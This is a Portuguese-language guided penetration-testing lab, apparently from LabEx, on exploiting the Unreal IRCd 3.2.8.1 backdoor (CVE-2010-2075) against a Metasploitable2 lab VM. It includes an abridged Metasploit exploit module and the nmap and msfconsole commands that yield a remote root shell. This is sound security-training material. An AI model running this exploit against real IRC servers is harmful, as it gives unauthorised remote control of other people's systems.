Explorar a Vulnerabilidade do Unreal IRCd com Nmap e Metasploit

NmapBeginner
Pratique Agora

Introdução

Neste laboratório, aprenderemos como explorar o serviço Unreal IRCd na máquina alvo Metasploitable2, hospedada na plataforma LabEx. Começaremos por entender a vulnerabilidade no serviço Unreal IRCd e, em seguida, realizaremos uma varredura de vulnerabilidade usando o Nmap. Após identificar o serviço vulnerável, utilizaremos o framework Metasploit para explorar a vulnerabilidade e obter um shell remoto na máquina alvo. Finalmente, validaremos nossa exploração bem-sucedida executando comandos no sistema comprometido.

Este é um Lab Guiado, que fornece instruções passo a passo para ajudá-lo a aprender e praticar. Siga as instruções cuidadosamente para completar cada etapa e ganhar experiência prática. Dados históricos mostram que este é um laboratório de nível iniciante com uma taxa de conclusão de 100%. Recebeu uma taxa de avaliações positivas de 83% dos estudantes.

Entender a Vulnerabilidade do Unreal IRCd e Iniciar o Ambiente de Experimento

A versão 3.2.8.1 do Unreal IRCd contém uma vulnerabilidade de backdoor (CVE-2010-2075) que permite que invasores remotos executem código arbitrário no sistema afetado. A vulnerabilidade existe na macro DEBUG3_DOLOG_SYSTEM, que inclui código malicioso externo que pode ser explorado por um invasor.

Informações relevantes:

O módulo Metasploit para explorar esta vulnerabilidade:

Aqui está uma breve visão geral do módulo Metasploit:

## Require necessary modules
require 'msf/core'

## Define the Metasploit module class
class MetasploitModule < Msf::Exploit::Remote
  ## Module initialization with details like name, description, author, references, etc.
  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'UnrealIRCD 3.2.8.1 Backdoor Command Execution',
      'Description'    => %q{
          This module exploits a malicious backdoor that was added to the
        Unreal IRCD 3.2.8.1 download archive. This backdoor was present in the
        Unreal3.2.8.1.tar.gz archive between November 2009 and June 12th 2010.
      },
      ## ... (omitted for brevity)
    ))

    ## Set default options
    register_options(
      [
        Opt::RPORT(6667)
      ], self.class)
  end

  ## Exploit method
  def exploit
    ## Connect to the remote service
    connect

    ## Print banner information
    print_status("Connected to #{rhost}:#{rport}...")
    banner = sock.get_once(-1, 30)
    banner.to_s.split("\n").each do |line|
      print_line("    #{line}")
    end

    ## Send the backdoor command
    print_status("Sending backdoor command...")
    sock.put("AB;" + payload.encoded + "\n")

    ## Wait for session creation or timeout
    1.upto(120) do
      break if session_created?
      select(nil, nil, nil, 0.25)
      handler()
    end
    disconnect
  end
end

Agora você iniciará a máquina de ataque (container Kali Linux) e a máquina alvo (máquina virtual Metasploitable2) para o experimento.

  1. Abra um terminal xfce na máquina host LabEx e inicie o alvo Metasploitable2 executando o seguinte comando:
sudo virsh start Metasploitable2

Aguarde o início da máquina alvo, pode levar de 1 a 3 minutos.

  1. Teste a conectividade com a máquina alvo fazendo ping nela:
ping 192.168.122.102

Pressione Ctrl+C para parar o ping.

  1. Inicie o container Kali Linux e entre no ambiente bash executando:
docker run -ti --network host b5b709a49cd5 bash
  1. Dentro do container Kali, teste a conexão de rede com a máquina alvo:
ping 192.168.122.102

Pressione Ctrl+C para parar o ping.

Agora, tanto a máquina de ataque quanto a máquina alvo estão em execução, e você pode iniciar o teste de penetração.

Observação: Se você sair acidentalmente do bash atual, o container Kali parará automaticamente. Você pode executar docker run -ti --network host b5b709a49cd5 bash novamente no host para iniciar um novo container Kali e entrar no bash para continuar o experimento.

Realizar a Varredura de Vulnerabilidades

Nesta etapa, realizaremos a varredura de vulnerabilidade na máquina alvo para identificar portas abertas e serviços em execução nessas portas. Usaremos a poderosa ferramenta Nmap (Network Mapper) para este fim.

  1. Inicie o console Metasploit no container Kali Linux:
cd ~
msfconsole
  1. Dentro do console Metasploit, use o comando nmap para escanear a máquina alvo:
nmap -sV -T4 192.168.122.102

A opção -sV habilita a detecção de versão para as portas abertas, e -T4 define a política de tempo para um nível agressivo (1-5, quanto maior, mais rápido).

A saída deve mostrar a porta 6667 aberta executando o serviço unreal ircd.

Pressione Ctrl+D para sair do console Metasploit e, em seguida, iniciar a inspeção

Explorar a Vulnerabilidade do Unreal IRCd

Agora que identificamos o serviço Unreal IRCd vulnerável em execução na porta 6667, podemos prosseguir com a exploração usando o framework Metasploit.

  1. Antes de mais nada, se você não estiver no console Metasploit, deverá iniciar o console Metasploit:
cd ~
msfconsole
  1. No console Metasploit, procure o módulo unreal_ircd_3281_backdoor:
search unreal_ircd_3281_backdoor
  1. Carregue o módulo:
use exploit/unix/irc/unreal_ircd_3281_backdoor
  1. Defina o host alvo:
set RHOST 192.168.122.102
  1. Execute o exploit:
exploit

Se o exploit for bem-sucedido, você deverá obter um shell remoto na máquina alvo.

Pressione Ctrl+D para sair do console Metasploit e, em seguida, iniciar a inspeção

Validar a Exploração

Para validar que a exploração foi bem-sucedida, podemos executar comandos no shell remoto obtido na etapa anterior.

  1. Antes de mais nada, se você não estiver no console Metasploit, deverá iniciar o console Metasploit:
cd ~
msfconsole
  1. Verifique o usuário atual com o comando whoami:
whoami
  1. Verifique o nome do host com o comando hostname:
hostname
  1. Verifique o endereço IP com o comando ifconfig:
ifconfig

Se a saída mostrar root como o usuário atual, metasploitable como o nome do host e o endereço IP corresponder à máquina alvo (192.168.122.102), isso confirma que a exploração foi bem-sucedida e você obteve controle completo sobre o sistema alvo.

Pressione Ctrl+D para sair do console Metasploit e, em seguida, iniciar a inspeção

Resumo

Neste laboratório, aprendemos sobre a vulnerabilidade do Unreal IRCd e como explorá-la usando o framework Metasploit. Começamos entendendo a vulnerabilidade e seu impacto, em seguida, realizamos uma varredura de vulnerabilidade para identificar o serviço vulnerável. Após encontrar o serviço Unreal IRCd em execução na porta 6667, usamos o módulo Metasploit apropriado para explorar a vulnerabilidade e obter acesso remoto à máquina alvo. Finalmente, validamos nossa exploração bem-sucedida executando comandos no sistema comprometido. Este laboratório forneceu experiência prática em análise de vulnerabilidades, exploração e validação pós-exploração, que são habilidades essenciais para hackers éticos e profissionais de segurança cibernética.